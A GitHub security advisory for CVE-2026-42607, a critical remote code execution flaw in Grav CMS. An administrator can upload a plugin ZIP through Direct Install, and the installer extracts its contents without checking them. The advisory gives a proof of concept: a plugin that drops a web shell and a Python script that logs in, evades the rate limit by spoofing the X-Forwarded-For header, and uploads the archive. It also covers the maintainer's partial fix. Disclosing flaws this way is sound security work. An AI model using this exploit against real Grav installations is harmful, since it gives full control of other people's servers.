GitHub Advisoryadvisory · Packagist

GHSA-w48r-jppp-rcfw Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature

CRITICAL Published 2026-05-05 Modified 2026-05-13 Official page ↗
Aliases
CVE-2026-42607
Ecosystem
Packagist
Packages
getgrav/grav
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-05-05

Affected packages

• Packagist getgrav/grav: < 2.0.0-beta.2 → fixed in 2.0.0-beta.2

Description

Summary An authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the "Direct Install" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server. Details The vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core. • Vulnerable Endpoints: /admin/tools/direct-install • Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285). • Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/ plugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive. PoC 1. Prepare the Malicious Plugin Create a directory named shellplugin and add the following files: shellplugin.php: ``` ['onPluginsInitialized', 0]]; } public function onPluginsInitialized(): void { $shell_path = GRAV_ROOT . '/shell.php'; if (!file_exists($shell_path)) { file_put_contents($shell_path, ''); } } } ``` (Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards). 2. Create the ZIP Archive ``` `zip -r /tmp/shellplugin.zip shellplugin/` 3. Execute the Exploit Script Run the following Python script to automate the login, nonce retrieval, and malicious upload process: `import requests, re, json s = requests.Session() BASE_URL = 'http://127.0.0.1' ``` 1. Login and Bypass Rate Limit via X-Forwarded-For ``` r = s.get(f'{BASE_URL}/admin') nonce = re.search(r'name="login-nonce" value="([^"]+)"', r.text).group(1) r2 = s.post(f'{BASE_URL}/admin', headers={'X-Forwarded-For': '10.0.0.3'}, data={'data[username]': 'admin', 'data[password]': 'admin_password_here', 'task': 'login', 'login-nonce': nonce}, allow_redirects=False) redirect = json.loads(r2.text)['redirect'] s.get(redirect) print(f"[+] Logged in successfully.") ``` 2. Extract Admin Nonce from Tools Page ``` tools = s.get(f'{BASE_URL}/admin/tools/direct-install') admin_nonce = re.search(r'admin-nonce.*?value="([a-f0-9]{32})"', tools.text).group(1) print(f"[+] Retrieved Admin Nonce: {admin_nonce}") ``` 3. Upload and Execute ``` with open('/tmp/shellplugin.zip', 'rb') as f: zip_data = f.read() resp = s.post(f'{BASE_URL}/admin/tools/direct-install', data={'task': 'directInstall', 'admin-nonce': admin_nonce}, files={'uploaded_file': ('shellplugin.zip', zip_data, 'application/zip')}, headers={'X-Forwarded-For': '10.0.0.3'} ) if "installation" in resp.text.lower(): print("[+] Plugin installed successfully!") # Trigger the shell s.get(BASE_URL) print(f"[+] RCE Check: {BASE_URL}/shell.php?cmd=id")` ``` 4. Verification Access the dropped shell to confirm command execution: `curl -s "http://127.0.0.1/shell.php?cmd=whoami"` Impact • Vulnerability Type: Remote Code Execution (RCE) / Path Traversal (via extraction). • Who is impacted: Any Grav installation where the Admin plugin is enabled and an attacker has gained administrative access (or an administrator is tricked into uploading a malicious ZIP). • Severity: Critical. Although it requires admin privileges, the ability to gain full server control (system-level access) makes this a high-impact finding, especially in multi-user environments or via CSRF/Session hijacking. Maintainer note — partial fix applied (2026-04-24) Fixed in Grav core on the `2.0` branch: commit `5a12f9be8` — ships in 2.0.0-beta.2. What changed (path layer): `Installer::unZip` now pre-validates every entry name before calling `ZipArchive::extractTo`, and aborts the install if any entry looks like a Zip Slip primitive — `..` path segments, absolute paths (Unix `/…` or Windows `C:\…`/`\…`), or NUL bytes. A crafted ZIP can no longer write files outside the target `user/plugins/` or `user/themes/` directory. Explicit scope limitation: the "well-formed but malicious plugin code" angle of the PoC — uploading a plugin whose own PHP is the payload — is not addressed by this change. `directInstall` is an administrator-only operation whose explicit purpose is to install arbitrary PHP; defending against it would require a plugin-signing or marketplace-allowlist feature, which is a separate roadmap item. Administrators should only install plugins from trusted sources. This is now explicitly documented in the commit note. Files: • `system/src/Grav/Common/GPM/Installer.php` — new `isSafeArchiveEntry()` helper + pre-extract validation loop. • `tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php` — 21 cases covering Unix/Windows/URL-encoded traversal primitives and legitimate plugin names. --- Acknowledgements The issue was identified by Security Researcher Mustafa Murat Akgül. ---

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References